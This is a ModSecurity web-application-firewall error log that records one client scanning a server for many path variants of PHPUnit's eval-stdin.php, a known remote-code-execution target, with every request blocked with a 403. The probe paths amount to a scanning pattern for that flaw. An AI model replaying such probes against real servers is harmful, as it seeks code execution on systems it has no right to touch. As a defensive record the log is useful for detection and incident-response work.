[Mon Oct 26 02:24:01.438420 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFgAAAA4"]
[Mon Oct 26 02:24:01.439014 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFgAAAA4"]
[Mon Oct 26 02:24:01.713762 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFwAAAA4"]
[Mon Oct 26 02:24:01.714220 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFwAAAA4"]
[Mon Oct 26 02:24:01.714574 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFwAAAA4"]
[Mon Oct 26 02:24:02.000112 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCGAAAAA4"]
[Mon Oct 26 02:24:02.000584 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCGAAAAA4"]
[Mon Oct 26 02:24:02.000982 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCGAAAAA4"]
[Mon Oct 26 02:24:02.270554 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGQAAAA4"]
[Mon Oct 26 02:24:02.271111 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGQAAAA4"]
[Mon Oct 26 02:24:02.271452 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGQAAAA4"]
[Mon Oct 26 02:24:02.528890 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGgAAAA4"]
[Mon Oct 26 02:24:02.529363 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGgAAAA4"]
[Mon Oct 26 02:24:02.529640 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGgAAAA4"]
[Mon Oct 26 02:24:02.776815 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGwAAAA4"]
[Mon Oct 26 02:24:02.777347 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGwAAAA4"]
[Mon Oct 26 02:24:02.777756 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAssSJ_JPXSgPpTUCGwAAAA4"]
[Mon Oct 26 02:24:03.035515 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHAAAAA4"]
[Mon Oct 26 02:24:03.036020 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHAAAAA4"]
[Mon Oct 26 02:24:03.036414 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHAAAAA4"]
[Mon Oct 26 02:24:03.299148 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHQAAAA4"]
[Mon Oct 26 02:24:03.299735 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHQAAAA4"]
[Mon Oct 26 02:24:03.300104 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHQAAAA4"]
[Mon Oct 26 02:24:03.611112 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHgAAAA4"]
[Mon Oct 26 02:24:03.611549 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHgAAAA4"]
[Mon Oct 26 02:24:03.611947 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHgAAAA4"]
[Mon Oct 26 02:24:03.882760 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHwAAAA4"]
[Mon Oct 26 02:24:03.883214 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHwAAAA4"]
[Mon Oct 26 02:24:03.883511 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yA8sSJ_JPXSgPpTUCHwAAAA4"]
[Mon Oct 26 02:24:04.128814 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIAAAAA4"]
[Mon Oct 26 02:24:04.129304 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIAAAAA4"]
[Mon Oct 26 02:24:04.129661 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIAAAAA4"]
[Mon Oct 26 02:24:04.381047 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIQAAAA4"]
[Mon Oct 26 02:24:04.381505 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIQAAAA4"]
[Mon Oct 26 02:24:04.381930 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIQAAAA4"]
[Mon Oct 26 02:24:04.624591 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIgAAAA4"]
[Mon Oct 26 02:24:04.625057 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIgAAAA4"]
[Mon Oct 26 02:24:04.625362 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIgAAAA4"]
[Mon Oct 26 02:24:04.887748 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at7yBMsSJ_JPXSgPpTUCIwAAAA4"]
